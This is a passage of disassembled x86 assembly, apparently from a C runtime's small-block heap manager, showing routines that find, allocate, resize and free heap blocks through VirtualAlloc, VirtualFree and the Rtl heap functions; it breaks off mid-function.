sub_41E717 proc near ; CODE XREF: sub_41BA91+17p
; sub_41BBE2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DD378
lea ecx, [eax+eax*4]
mov eax, dword_4DD37C
lea ecx, [eax+ecx*4]
loc_41E727: ; CODE XREF: sub_41E717+26j
cmp eax, ecx
jnb short loc_41E73F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E741
add eax, 14h
jmp short loc_41E727
; ---------------------------------------------------------------------------
loc_41E73F: ; CODE XREF: sub_41E717+12j
xor eax, eax
locret_41E741: ; CODE XREF: sub_41E717+21j
retn
sub_41E717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, dword_4DD374
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD36C
mov esi, ds:dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DD36C
mov eax, dword_4DD374
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DD374
mov ecx, dword_4DD36C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DD374
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DD374
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DD374
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_4DD374
push dword ptr [eax+10h]
push 0
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
mov eax, dword_4DD378
mov edx, dword_4DD37C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DD374
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D670
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD378
cmp eax, dword_4DD374
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD37C
mov dword_4DD370, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD36C, edi
mov dword_4DD374, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p
; sub_41BEF3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DD378
mov edx, dword_4DD37C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EAAB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EABB
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA6B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej
mov eax, dword_4DD370
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EAE2
loc_41EAC9: ; CODE XREF: sub_41EA6B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EAE2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EAC9
loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj
; sub_41EA6B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EB60
mov ebx, edx
loc_41EAE9: ; CODE XREF: sub_41EA6B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB05
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB03
add ebx, 14h
jmp short loc_41EAE9
; ---------------------------------------------------------------------------
loc_41EB03: ; CODE XREF: sub_41EA6B+91j
cmp ebx, eax
loc_41EB05: ; CODE XREF: sub_41EA6B+83j
jnz short loc_41EB60
loc_41EB07: ; CODE XREF: sub_41EA6B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EB1D
cmp dword ptr [ebx+8], 0
jnz short loc_41EB1A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EB07
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j
cmp ebx, [ebp+var_4]
loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj
jnz short loc_41EB45
mov ebx, edx
loc_41EB21: ; CODE XREF: sub_41EA6B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB35
cmp dword ptr [ebx+8], 0
jnz short loc_41EB33
add ebx, 14h
jmp short loc_41EB21
; ---------------------------------------------------------------------------
loc_41EB33: ; CODE XREF: sub_41EA6B+C1j
cmp ebx, eax
loc_41EB35: ; CODE XREF: sub_41EA6B+BBj
jnz short loc_41EB45
call sub_41ED74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EB59
loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj
; sub_41EA6B:loc_41EB35j
push ebx
call sub_41EE25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EB60
loc_41EB59: ; CODE XREF: sub_41EA6B+D8j
xor eax, eax
jmp loc_41ED6F
; ---------------------------------------------------------------------------
loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj
; sub_41EA6B:loc_41EB05j ...
mov dword_4DD370, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EB87
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EBBE
loc_41EB87: ; CODE XREF: sub_41EA6B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EBBB
loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EBA4
loc_41EBBB: ; CODE XREF: sub_41EA6B+137j
mov edx, [ebp+var_4]
loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EBE7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj
; sub_41EA6B+183j
test ecx, ecx
jl short loc_41EBF0
shl ecx, 1
inc edi
jmp short loc_41EBE7
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EC0D
push 3Fh
pop esi
loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj
cmp esi, edi
jz loc_41ED22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7E
cmp edi, 20h
jge short loc_41EC4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j
; sub_41EA6B+203j
mov ebx, [ebp+arg_0]
loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j
; sub_41EA6B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41ED2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41ED1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41ECF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ECDE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41ECDE: ; CODE XREF: sub_41EA6B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ED09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej
; sub_41EA6B+283j
mov ecx, [ebp+var_8]
loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j
test ecx, ecx
jz short loc_41ED31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED2E: ; CODE XREF: sub_41EA6B+229j
mov ecx, [ebp+var_8]
loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j
; sub_41EA6B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ED67
cmp ebx, dword_4DD374
jnz short loc_41ED67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DD36C
jnz short loc_41ED67
and dword_4DD374, 0
loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j
; sub_41EA6B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA6B endp
; =============== S U B R O U T I N E =======================================
sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp
mov eax, dword_4DD378
mov ecx, dword_4DD368
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EDB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DD37C
push edi
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41EE07
add dword_4DD368, 10h
mov dword_4DD37C, eax
mov eax, dword_4DD378
loc_41EDB7: ; CODE XREF: sub_41ED74+11j
mov ecx, dword_4DD37C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DD384
lea esi, [ecx+eax*4]
call ds:dword_427150 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EE07
push 4
push 2000h
push 100000h
push edi
call ds:dword_427064 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EE0B
push dword ptr [esi+10h]
push edi
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
loc_41EE07: ; CODE XREF: sub_41ED74+30j
; sub_41ED74+67j
xor eax, eax
jmp short loc_41EE22
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ED74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DD378
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EE22: ; CODE XREF: sub_41ED74+95j
pop edi
pop esi
retn
sub_41ED74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EE37: ; CODE XREF: sub_41EE25+19j
test eax, eax
jl short loc_41EE40
shl eax, 1
inc ebx
jmp short loc_41EE37
; ---------------------------------------------------------------------------
loc_41EE40: ; CODE XREF: sub_41EE25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EE55: ; CODE XREF: sub_41EE25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EE55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_427064 ; VirtualAlloc
test eax, eax
jnz short loc_41EE88
or eax, 0FFFFFFFFh
jmp loc_41EF1B
; ---------------------------------------------------------------------------
loc_41EE88: ; CODE XREF: sub_41EE25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EECE
lea eax, [edi+10h]
loc_41EE95: ; CODE XREF: sub_41EE25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EE95
loc_41EECE: ; CODE XREF: sub_41EE25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EF0B
or [eax+4], edi
loc_41EF0B: ; CODE XREF: sub_41EE25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F0CE
test bl, 1
jnz loc_41F0C7
add ebx, ecx
cmp esi, ebx
jg loc_41F0C7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EF97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EF97: ; CODE XREF: sub_41EF20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EFE7
cmp ecx, 20h
jnb short loc_41EFC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EFE7
; ---------------------------------------------------------------------------
loc_41EFC3: ; CODE XREF: sub_41EF20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj
; sub_41EF20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F0B5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41F021
push 3Fh
pop edi
loc_41F021: ; CODE XREF: sub_41EF20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F0A3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41F07A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F06D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41F06D: ; CODE XREF: sub_41EF20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41F09F
; ---------------------------------------------------------------------------
loc_41F07A: ; CODE XREF: sub_41EF20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F090
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41F090: ; CODE XREF: sub_41EF20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41F09F: ; CODE XREF: sub_41EF20+158j
shr edx, cl
or [eax], edx
loc_41F0A3: ; CODE XREF: sub_41EF20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F0B8
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41EF20+E5j
mov edx, [ebp+arg_4]
loc_41F0B8: ; CODE XREF: sub_41EF20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F20E
; ---------------------------------------------------------------------------
loc_41F0C7: ; CODE XREF: sub_41EF20+52j
; sub_41EF20+5Cj
xor eax, eax
jmp loc_41F211
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41EF20+49j
jge loc_41F20E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F0F9
push 3Fh
pop esi
loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F188
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F112
push 3Fh
pop esi
loc_41F112: ; CODE XREF: sub_41EF20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F161
cmp esi, 20h
jnb short loc_41F13D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F15E
; ---------------------------------------------------------------------------
loc_41F13D: ; CODE XREF: sub_41EF20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F15E: ; CODE XREF: sub_41EF20+214j
; sub_41EF20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F161: ; CODE XREF: sub_41EF20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F188
push 3Fh
pop esi
loc_41F188: ; CODE XREF: sub_41EF20+1DDj
; sub_41EF20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
